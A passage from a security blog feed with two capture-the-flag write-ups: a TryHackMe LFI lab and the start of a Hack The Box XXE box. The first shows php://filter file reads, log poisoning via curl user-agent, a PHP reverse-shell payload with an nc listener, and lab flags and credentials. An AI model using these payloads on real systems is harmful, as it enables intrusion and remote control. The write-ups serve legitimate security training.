</span></span><span style="display:flex;"><span>└─$ echo <span style="color:#e6db74">&#34;PD9waHAgc2Vzc2lvbl9zdGFydCgpOwokZmxhZyA9ICJUSE17NzkxZDQzZDQ2MDE4YTBkODkzNjFkYmY2MGQ1ZDllYjh9IjsKaW5jbHVkZSgiLi9pbmNsdWRlcy9jcmVkcy5waHAiKTsKaWYoJF9TRVNTSU9OWyd1c2VybmFtZSddID09PSAkVVNFUil7ICAgICAgICAgICAgICAgICAgICAgICAgCgloZWFkZXIoICdMb2NhdGlvbjogbWFuYWdlLnBocCcgKTsKCWRpZSgpOwp9IGVsc2UgewoJJGxhYk51bSA9ICIiOwogIHJlcXVpcmUgIi4vaW5jbHVkZXMvaGVhZGVyLnBocCI7Cj8+CjxkaXYgY2xhc3M9InJvdyI+CiAgPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4KICA8L2Rpdj4KICA8ZGl2IGNsYXNzPSJjb2wtbGctOCBjb2wtb2Zmc2V0LTEiPgogICAgICA8P3BocCBpZiAoaXNzZXQoJGVycm9yKSkgeyA/PgogICAgICAgICAgPHNwYW4gY2xhc3M9InRleHQgdGV4dC1kYW5nZXIiPjxiPjw/cGhwIGVjaG8gJGVycm9yOyA/PjwvYj48L3NwYW4+CiAgICAgIDw/cGhwIH0KCj8+CiA8cD5XZWxjb21lIDw/cGhwIGVjaG8gZ2V0VXNlck5hbWUoKTsgPz48L3A+Cgk8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5UaGlzIHNlcnZlciBoYXMgc2Vuc2l0aXZlIGluZm9ybWF0aW9uLiBOb3RlIEFsbCBhY3Rpb25zIHRvIHRoaXMgc2VydmVyIGFyZSBsb2dnZWQgaW4hPC9kaXY+IAoJPC9kaXY+Cjw/cGhwIGlmKCRlcnJJbmNsdWRlKXsgaW5jbHVkZSgkX0dFVFsnZXJyJ10pO30gPz4KPC9kaXY+Cgo8P3BocAp9Cj8+&#34;</span> | base64 -d 
</span></span><span style="display:flex;"><span>&lt;?php session_start<span style="color:#f92672">()</span>;
</span></span><span style="display:flex;"><span>$flag <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;THM{791d43d46018a0d89361dbf60d5d9eb8}&#34;</span>;
</span></span><span style="display:flex;"><span>include<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;./includes/creds.php&#34;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span><span style="color:#f92672">(</span>$_SESSION<span style="color:#f92672">[</span><span style="color:#e6db74">&#39;username&#39;</span><span style="color:#f92672">]</span> <span style="color:#f92672">===</span> $USER<span style="color:#f92672">){</span>                        
</span></span><span style="display:flex;"><span>        header<span style="color:#f92672">(</span> <span style="color:#e6db74">&#39;Location: manage.php&#39;</span> <span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>        die<span style="color:#f92672">()</span>;
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span> <span style="color:#66d9ef">else</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        $labNum <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>  require <span style="color:#e6db74">&#34;./includes/header.php&#34;</span>;
</span></span><span style="display:flex;"><span>?&gt;
</span></span><span style="display:flex;"><span>&lt;div class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;row&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;div class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-lg-12&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/div&gt;
</span></span><span style="display:flex;"><span>  &lt;div class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-lg-8 col-offset-1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;?php <span style="color:#66d9ef">if</span> <span style="color:#f92672">(</span>isset<span style="color:#f92672">(</span>$error<span style="color:#f92672">))</span> <span style="color:#f92672">{</span> ?&gt;
</span></span><span style="display:flex;"><span>          &lt;span class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text text-danger&#34;</span>&gt;&lt;b&gt;&lt;?php echo $error; ?&gt;&lt;/b&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>      &lt;?php <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>?&gt;
</span></span><span style="display:flex;"><span> &lt;p&gt;Welcome &lt;?php echo getUserName<span style="color:#f92672">()</span>; ?&gt;&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;div class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;alert alert-danger&#34;</span> role<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;alert&#34;</span>&gt;This server has sensitive information. Note All actions to this server are logged in!&lt;/div&gt; 
</span></span><span style="display:flex;"><span>        &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;?php <span style="color:#66d9ef">if</span><span style="color:#f92672">(</span>$errInclude<span style="color:#f92672">){</span> include<span style="color:#f92672">(</span>$_GET<span style="color:#f92672">[</span><span style="color:#e6db74">&#39;err&#39;</span><span style="color:#f92672">])</span>;<span style="color:#f92672">}</span> ?&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>?&gt;             
</span></span></code></pre></div><p>And here comes our second flag. :D</p>
<p>Looking at the source code, we can find another file seems potentially useful.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">include</span>(<span style="color:#e6db74">&#34;./includes/creds.php&#34;</span>);
</span></span></code></pre></div><p>So let&rsquo;s go for it!</p>
<pre tabindex="0"><code>http://10.10.16.195/index.php?err=php://filter/convert.base64-encode/resource=./includes/creds.php
</code></pre><p>And quite easily, we&rsquo;d got the credentials.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/thm/adventOfCyber3/day6<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ echo <span style="color:#e6db74">&#34;PD9waHAgCiRVU0VSID0gIk1jU2tpZHkiOwokUEFTUyA9ICJBMEMzMTVBdzNzMG0iOwo/&#34;</span> | base64 -d
</span></span><span style="display:flex;"><span>&lt;?php 
</span></span><span style="display:flex;"><span>$USER <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;McSkidy&#34;</span>;
</span></span><span style="display:flex;"><span>$PASS <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;A0C315Aw3s0m&#34;</span>;
</span></span><span style="display:flex;"><span>?                       
</span></span></code></pre></div><p>What&rsquo;s left - logging in using that account. Here&rsquo;s the password recovery page:

  <img src="/img/adventOfCyber3/day6/recovery-password.png#center" alt="">

</p>
<p>For the next question, the task ask for the hostname of the webserver. Let me show you the easy way.</p>
<pre tabindex="0"><code>http://10.10.16.195/index.php?err=/etc/hosts
</code></pre><p>
  <img src="/img/adventOfCyber3/day6/etchosts.png#center" alt="">

</p>
<p>Simple as that, and the THM challenge actually ended here. From this point onward is just bonus steps for
learning purposes. :D</p>
<p>So, there&rsquo;s a <code>log.php</code> site that let you access request logs. Following the challenge&rsquo;s tutorial, I sent a
request like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -A <span style="color:#e6db74">&#34;lmao I&#39;m here&#34;</span> http://10.10.16.195
</span></span></code></pre></div><p>Checking the logs, we can clearly see where our payload went.</p>
<p>
  <img src="/img/adventOfCyber3/day6/logs.png#center" alt="">

</p>
<p>Using the exact method, this time I sent a real PHP payload.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -A <span style="color:#e6db74">&#34;&lt;?php phpinfo();?&gt;&#34;</span> http://10.10.16.195
</span></span></code></pre></div><p>
  <img src="/img/adventOfCyber3/day6/first-payload.png#center" alt="">

</p>
<p>However, as you may expected, the payload&rsquo;s not executed just by visiting the page. So I visit it again, this
time via LFI.</p>
<pre tabindex="0"><code>http://10.10.16.195/index.php?err=php://filter/resource=./includes/logs/app_access.log
</code></pre><p>
  <img src="/img/adventOfCyber3/day6/phpinfo.png#center" alt="">

</p>
<p>As you may see, the server gracefully executed our payload. Without a second thought, I went straight to
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php">reverse shell cheat
sheet</a>,
grab a PHP payload and sent it. Basically it looked like this.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> $sock<span style="color:#f92672">=</span><span style="color:#a6e22e">fsockopen</span>($MY<span style="color:#f92672">-</span><span style="color:#a6e22e">IP</span>,$PORT);$proc<span style="color:#f92672">=</span><span style="color:#a6e22e">proc_open</span>(<span style="color:#f92672">/</span><span style="color:#a6e22e">bin</span><span style="color:#f92672">/</span><span style="color:#a6e22e">sh</span> <span style="color:#f92672">-</span><span style="color:#a6e22e">i</span>, <span style="color:#66d9ef">array</span>(<span style="color:#ae81ff">0</span><span style="color:#f92672">=&gt;</span>$sock, <span style="color:#ae81ff">1</span><span style="color:#f92672">=&gt;</span>$sock, <span style="color:#ae81ff">2</span><span style="color:#f92672">=&gt;</span>$sock),$pipes); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Send it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl --user-agent <span style="color:#e6db74">&#39;&lt;?php $sock=fsockopen(&#34;$MY-IP&#34;,9999);$proc=proc_open(&#34;/bin/sh -i&#34;, array(0=&gt;$sock, 1=&gt;$sock, 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">2=&gt;$sock),$pipes); ?&gt;&#39;</span> http://$SERVER-IP
</span></span></code></pre></div><p>Open a port to receive it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nc -lvnp <span style="color:#ae81ff">9999</span>
</span></span></code></pre></div><p>Access the log via LFI again to execute the payload.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/thm/adventOfCyber3/day6<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ nc -lvnp <span style="color:#ae81ff">9999</span>                                                                                                                                                                                                                         <span style="color:#ae81ff">1</span> ⨯
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">9999</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.4.35.200<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.161.15<span style="color:#f92672">]</span> <span style="color:#ae81ff">34994</span>
</span></span><span style="display:flex;"><span>/bin/sh: 0: can<span style="color:#960050;background-color:#1e0010">&#39;</span>t access tty; job control turned off
</span></span><span style="display:flex;"><span>$ id    
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>That&rsquo;s it. We&rsquo;re in.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat /etc/*release
</span></span><span style="display:flex;"><span>DISTRIB_ID<span style="color:#f92672">=</span>Ubuntu
</span></span><span style="display:flex;"><span>DISTRIB_RELEASE<span style="color:#f92672">=</span>12.04
</span></span><span style="display:flex;"><span>DISTRIB_CODENAME<span style="color:#f92672">=</span>precise
</span></span><span style="display:flex;"><span>DISTRIB_DESCRIPTION<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Ubuntu 12.04.5 LTS&#34;</span>
</span></span><span style="display:flex;"><span>NAME<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Ubuntu&#34;</span>
</span></span><span style="display:flex;"><span>VERSION<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;12.04.5 LTS, Precise Pangolin&#34;</span>
</span></span><span style="display:flex;"><span>ID<span style="color:#f92672">=</span>ubuntu
</span></span><span style="display:flex;"><span>ID_LIKE<span style="color:#f92672">=</span>debian
</span></span><span style="display:flex;"><span>PRETTY_NAME<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Ubuntu precise (12.04.5 LTS)&#34;</span>
</span></span><span style="display:flex;"><span>VERSION_ID<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;12.04&#34;</span>
</span></span></code></pre></div><p>We can see this box&rsquo;s using a quite outdated version of Ubuntu. A quick <code>searchsploit</code> return a lot of useful
resources:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ searchsploit ubuntu 12.04                                                                                                                                                                                                           <span style="color:#ae81ff">130</span> ⨯
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                                                                                                                                              |  Path
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>Linux Kernel <span style="color:#f92672">(</span>Ubuntu 11.10/12.04<span style="color:#f92672">)</span> - binfmt_script Stack Data Disclosure                                                                                                                                     | linux/dos/41767.txt
</span></span><span style="display:flex;"><span>Linux Kernel 3.13.0 &lt; 3.19 <span style="color:#f92672">(</span>Ubuntu 12.04/14.04/14.10/15.04<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;overlayfs&#39;</span> Local Privilege Escalation                                                                                                        | linux/local/37292.c
</span></span><span style="display:flex;"><span>Linux Kernel 3.13.0 &lt; 3.19 <span style="color:#f92672">(</span>Ubuntu 12.04/14.04/14.10/15.04<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;overlayfs&#39;</span> Local Privilege Escalation <span style="color:#f92672">(</span>Access /etc/shadow<span style="color:#f92672">)</span>                                                                                   | linux/local/37293.txt
</span></span><span style="display:flex;"><span>Linux Kernel 3.2.0-23/3.5.0-23 <span style="color:#f92672">(</span>Ubuntu 12.04/12.04.1/12.04.2 x64<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;perf_swevent_init&#39;</span> Local Privilege Escalation <span style="color:#f92672">(</span>3<span style="color:#f92672">)</span>                                                                                      | linux_x86-64/local/33589.c
</span></span><span style="display:flex;"><span>Linux Kernel &lt; 3.2.0-23 <span style="color:#f92672">(</span>Ubuntu 12.04 x64<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;ptrace/sysret&#39;</span> Local Privilege Escalation                                                                                                                     | linux_x86-64/local/34134.c
</span></span><span style="display:flex;"><span>Linux Kernel &lt; 3.5.0-23 <span style="color:#f92672">(</span>Ubuntu 12.04.2 x64<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;SOCK_DIAG&#39;</span> SMEP Bypass Local Privilege Escalation                                                                                                           | linux_x86-64/local/44299.c
</span></span><span style="display:flex;"><span>Ubuntu &lt; 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation                                                                                                                      | linux/local/41760.txt
</span></span><span style="display:flex;"><span>usb-creator 0.2.x <span style="color:#f92672">(</span>Ubuntu 12.04/14.04/14.10<span style="color:#f92672">)</span> - Local Privilege Escalation                                                                                                                                   | linux/local/36820.txt
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Results
</span></span></code></pre></div><p>However, since the box lacked basic utilities:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gcc
</span></span><span style="display:flex;"><span>/bin/sh: 19: gcc: not found
</span></span><span style="display:flex;"><span>$ curl             
</span></span><span style="display:flex;"><span>/bin/sh: 20: curl: not found
</span></span><span style="display:flex;"><span>$ wget
</span></span><span style="display:flex;"><span>/bin/sh: 21: wget: not found
</span></span></code></pre></div><p>I attempted no further. But you can try to privilege escalate on this box by yourself, for the
sake of learning. :D</p>
<p>You can also get RCE with PHP session. Here&rsquo;s the end result:

  <img src="/img/adventOfCyber3/day6/php_sess.png#center" alt="">

</p>
<p>But as this task&rsquo;s got quite lengthy, I&rsquo;ll leave that part for you, then. :D</p>
<p>Here&rsquo;s the answers for today!</p>
<p><code>Deploy the attached VM and look around. What is the entry point for our web application?</code> err</p>
<p><code>Use the entry point to perform LFI to read the /etc/flag file. What is the flag?</code> THM{d29e08941cf7fe41df55f1a7da6c4c06}</p>
<p><code>Use the PHP filter technique to read the source code of the index.php. What is the $flag variable's value?</code> THM{791d43d46018a0d89361dbf60d5d9eb8}</p>
<p><code>Now that you read the index.php, there is a login credential PHP file's path. Use the PHP filter technique to read its content. What are the username and password?</code> McSkidy:A0C315Aw3s0m</p>
<p><code>Use the credentials to login into the web application. Help McSkidy to recover the server's password. What is the password of the flag.thm.aoc server?</code> THM{552f313b52e3c3dbf5257d8c6db7f6f1}</p>
<p><code>The web application logs all users' requests, and only authorized users can read the log file. Use the LFI to gain RCE via the log file page. What is the hostname of the webserver? The log file location is at ./includes/logs/app_access.log</code> lfi-aoc-awesome-59aedca683fff9261263bb084880c965</p>
<p>
  <img src="/img/adventOfCyber3/day6/answers.png#center" alt="">

</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box - Bounty Hunter writeup</title>
      <link>https://www.akihakune.com/blog/bountyhunter/</link>
      <pubDate>Sat, 20 Nov 2021 20:13:06 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/bountyhunter/</guid>
      <description>Writeup for Bounty Hunter box on Hack The Box</description>
      <content:encoded><![CDATA[<h2 id="i-enumeration">I. Enumeration</h2>
<ul>
<li>First things first, let&rsquo;s start with a port scan!</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>aki㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/BountyHunter<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ nmap -sC -sV -oN nmap.txt 10.10.11.100
</span></span><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-09-06 23:35 EDT
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.11.100
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.68s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">3072</span> d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open  http    Apache httpd 2.4.41 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.41 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Bounty Hunters
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 108.32 seconds
</span></span></code></pre></div><p>nothing particularly useful. We got 2 basic ports opening and their versions.</p>
<ul>
<li>Checking the service versions, seems like they&rsquo;re relatively new (at the time of writing) and there&rsquo;s no publicly available vulnerability or exploit for them.</li>
<li>Manually open it in a web browser, there&rsquo;s also nothing much there, except this &ldquo;portal&rdquo; page</li>
</ul>
<p>
  <img src="/img/bountyhunter/bountyhunter_portal.png#center" alt="">

</p>
<ul>
<li>Follow the link, we get to a simple page for submitting exploits:</li>
</ul>
<p>
  <img src="/img/bountyhunter/bountyhunter_log_submit.png#center" alt="">

</p>
<ul>
<li>Checking the source code a bit, we find out that this form create a POST request to &ldquo;tracker_diRbPr00f314.php&rdquo;</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">returnSecret</span>(<span style="color:#a6e22e">data</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> Promise.<span style="color:#a6e22e">resolve</span>(<span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">ajax</span>({
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">type</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;POST&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">data</span><span style="color:#f92672">:</span> {<span style="color:#e6db74">&#34;data&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">data</span>},
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">url</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;tracker_diRbPr00f314.php&#34;</span>
</span></span><span style="display:flex;"><span>            }));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">bountySubmit</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">xml</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`&lt;?xml  version=&#34;1.0&#34; encoding=&#34;ISO-8859-1&#34;?&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		&lt;bugreport&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		&lt;title&gt;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#39;#exploitTitle&#39;</span>).<span style="color:#a6e22e">val</span>()<span style="color:#e6db74">}</span><span style="color:#e6db74">&lt;/title&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		&lt;cwe&gt;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#39;#cwe&#39;</span>).<span style="color:#a6e22e">val</span>()<span style="color:#e6db74">}</span><span style="color:#e6db74">&lt;/cwe&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		&lt;cvss&gt;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#39;#cvss&#39;</span>).<span style="color:#a6e22e">val</span>()<span style="color:#e6db74">}</span><span style="color:#e6db74">&lt;/cvss&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		&lt;reward&gt;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#39;#reward&#39;</span>).<span style="color:#a6e22e">val</span>()<span style="color:#e6db74">}</span><span style="color:#e6db74">&lt;/reward&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		&lt;/bugreport&gt;`</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">returnSecret</span>(<span style="color:#a6e22e">btoa</span>(<span style="color:#a6e22e">xml</span>));
</span></span><span style="display:flex;"><span>  		<span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#return&#34;</span>).<span style="color:#a6e22e">html</span>(<span style="color:#a6e22e">data</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">catch</span>(<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">&#39;Error:&#39;</span>, <span style="color:#a6e22e">error</span>);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><ul>
<li>Upon triggering <code>bountySubmit</code> function, it&rsquo;ll create an xml form and submit it. Sounds like a great <a href="https://portswigger.net/web-security/xxe">XXE</a> to me.</li>
<li>Fire up Burp Suite and looking at POST requests, as expected, I saw an encoded string in the <code>data</code> variable of every POST request</li>
<li>&ldquo;It must contain the XML&rdquo;, I thought. So I tried to decode it</li>
</ul>
<p>
  <img src="/img/bountyhunter/bountyhunter_request.png#center" alt="">

</p>
<ul>
<li>According to the JS code, the data should be encoded in plain, old Base64, but somehow certain parts of the data seems to be miserably screwed up</li>
<li>I messed around in <a href="https://gchq.github.io/CyberChef">Cyberchef</a> a bit, but that screwed part didn&rsquo;t seems to be meaningful anyway, so I gave up this vector and look for the XXE</li>
<li>The idea of decoding it, replace with my payload and send it programmatically flashed into my mind, but at the end I chose a lazy way instead - triggering that <code>returnSecret()</code> function manually in browser DevTool</li>
<li>After a few time of trial and error, our target finally seems to be vulnerable to XXE</li>
</ul>
<p>
  <img src="/img/bountyhunter/bountyhunter_first_xxe.png#center" alt="">

</p>
<ul>
<li>Next thing is just trial and error, and by that, I mean A LOT OF trials and errors. Come up with a payload, type it in Chrome&rsquo;s dev tool, check for responses in Burp Suite history (the dev tool console looks quite small to get any serious task done), see if it worked (and 9 out of 10 times, if didn&rsquo;t), and repeat</li>
<li>I tried all the payloads on <!-- raw HTML omitted -->OWASP referencing page<!-- raw HTML omitted -->, and long story short, seems like it&rsquo;s not easy to get a RCE from this XXE</li>
<li>Noticing that this site&rsquo;s using PHP, I changed my payload a bit, but still&hellip; nothing appeared. Blind XXE, and blind inject anything in general, is a pain ;-;</li>
<li>That&rsquo;s when I thought of encode it in base64 (the same as the sending payload) rather than trying to get it by plaintext</li>
</ul>
<p>
  <img src="/img/bountyhunter/bountyhunter_log_submit_console.png#center" alt="">


<!-- raw HTML omitted --></p>
<ul>
<li>And hey! Looks like I had got the content of that log_submit.php file</li>
<li>Using that exact payload, I tried to get files from other directories but&hellip; seems like it&rsquo;s not that easy</li>
<li>So I mindlessly browsing around in disorientation. The URI of JS files has the same format &ldquo;resources/some_file.js&rdquo;, so I decided to test it against directory listing</li>
<li>It worked perfectly, and from that directory, I had got a precious README.txt file</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>Tasks:
</span></span><span style="display:flex;"><span>
